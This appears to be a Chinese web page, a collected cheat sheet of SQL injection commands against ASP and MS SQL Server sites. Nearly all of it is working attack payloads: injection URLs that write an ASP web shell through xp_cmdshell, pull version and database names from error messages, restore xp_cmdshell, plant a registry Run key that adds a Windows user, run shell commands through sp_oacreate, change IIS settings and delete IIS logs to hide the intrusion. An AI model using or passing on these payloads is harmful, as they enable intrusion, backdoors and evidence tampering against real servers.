最全的SQL注入命令及方法-网络收集<br /> <br /> 1、 用^转义字符来写ASP(一句话木马)文件的方法:<br /> http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^&lt;script language=VBScript runat=server^&gt;execute request^(&quot;l&quot;^)^&lt;/script^&gt; &gt;c:\mu.asp;-<br /> echo ^&lt;%execute^(request^(&quot;l&quot;^)^)%^&gt; &gt;c:\mu.asp<br /> 2、 显示SQL系统版本: <br /> http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) <br /> http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--<br /> Microsoft VBScript 编译器错误 错误 800a03f6 <br /> 缺少 End <br /> /iisHelp/common/500-100.asp,行242 <br /> Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07 <br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) to a column of data type int. <br /> /display.asp,行17<br /> 3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用&quot;in&quot;关键字进行查询,例如&quot;select * from mytable where id in(1)&quot;,括号中的值就是我们提交的数据,它的结果与使用&quot;select * from mytable where id=1&quot;的查询结果完全相同。所以访问页面的时候在URL后面加上&quot;) and 1=1 and 1 in(1&quot;后原来的SQL语句就变成了&quot;select * from mytable where id in(1) and 1=1 and 1 in(1)&quot;,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为&quot;包含数字型&quot;吧,聪明的你一定想到了还有&quot;包含字符型&quot;呢。对了,它就是由于类似&quot;select * from mytable where name in(firstsee)&quot;的查询语句造成的。<br /> 4、 判断xp_cmdshell扩展存储过程是否存在:<br /> http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = X AND name = xp_cmdshell)<br /> 恢复xp_cmdshell扩展存储的命令:<br /> http://file.outobe.com/news/show1.asp?NewsId=125272<br /> ;exec master.dbo.sp_addextendedproc xp_cmdshell,e:\inetput\web\xplog70.dll;--<br /> 5、 向启动组中写入命令行和执行程序:<br /> http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,help1,REG_SZ,cmd.exe /c net user test ptlove /add<br /> <br /> 6、 查看当前的数据库名称:<br /> ? http://192.168.1.5/display.asp?keyno=188 and 0&lt;&gt;db_name(n) n改成0,1,2,3……就可以跨库了<br /> ? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--<br /> Microsoft VBScript 编译器错误 错误 800a03f6 <br /> 缺少 End <br /> /iisHelp/common/500-100.asp,行242 <br /> Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07 <br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value huidahouse to a column of data type int. <br /> /display.asp,行17 <br /> 7、 列出当前所有的数据库名称:<br /> select * from master.dbo.sysdatabases 列出所有列的记录<br /> select name from master.dbo.sysdatabases 仅列出name列的记录<br /> 8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:<br /> create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)<br /> DECLARE @shell INT<br /> DECLARE @fso INT<br /> DECLARE @file INT<br /> DECLARE @isEnd BIT<br /> DECLARE @out VARCHAR(400)<br /> EXEC sp_oacreate wscript.shell,@shell output<br /> EXEC sp_oamethod @shell,run,null,cmd.exe /c dir c:\&gt;c:\temp.txt,0,true<br /> --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。<br /> EXEC sp_oacreate scripting.filesystemobject,@fso output<br /> EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt<br /> --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌<br /> WHILE @shell&gt;0<br /> BEGIN<br /> EXEC sp_oamethod @file,Readline,@out out<br /> insert INTO MYTMP(info) VALUES (@out)<br /> EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out<br /> IF @isEnd=1 BREAK<br /> ELSE CONTINUE<br /> END<br /> drop TABLE MYTMP<br /> ----------<br /> DECLARE @shell INT<br /> DECLARE @fso INT<br /> DECLARE @file INT<br /> DECLARE @isEnd BIT<br /> DECLARE @out VARCHAR(400)<br /> EXEC sp_oacreate wscript.shell,@shell output<br /> EXEC sp_oamethod @shell,run,null,cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps &quot;C:\WINNT\system32\idq.dll&quot; &quot;C:\WINNT\system32\inetsrv\httpext.dll&quot; &quot;C:\WINNT\system32\inetsrv\httpodbc.dll&quot; &quot;C:\WINNT\system32\inetsrv\ssinc.dll&quot; &quot;C:\WINNT\system32\msw3prt.dll&quot; &quot;C:\winnt\system32\inetsrv\asp.dll&quot;&gt;c:\temp.txt,0,true<br /> EXEC sp_oacreate scripting.filesystemobject,@fso output<br /> EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt<br /> WHILE @shell&gt;0<br /> BEGIN<br /> EXEC sp_oamethod @file,Readline,@out out<br /> insert INTO MYTMP(info) VALUES (@out)<br /> EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out<br /> IF @isEnd=1 BREAK<br /> ELSE CONTINUE<br /> END<br /> 以下是一行里面将WEB用户加到管理员组中:<br /> DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps &quot;C:\WINNT\system32\idq.dll&quot; &quot;C:\WINNT\system32\inetsrv\httpext.dll&quot; &quot;C:\WINNT\system32\inetsrv\httpodbc.dll&quot; &quot;C:\WINNT\system32\inetsrv\ssinc.dll&quot; &quot;C:\WINNT\system32\msw3prt.dll&quot; &quot;C:\winnt\system32\inetsrv\asp.dll&quot;&gt;c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /> 以下是一行中执行EXE程序:<br /> DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\&gt;c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /> SQL下三种执行CMD命令的方法:<br /> 先删除7.18号日志:<br /> (1)exec master.dbo.xp_cmdshell del C:\winnt\system32\logfiles\W3SVC5\ex050718.log &gt;c:\temp.txt<br /> (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log &gt;c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /> <br /> <br />
T:0.006461s,M:252.05 KB
返回顶部 留言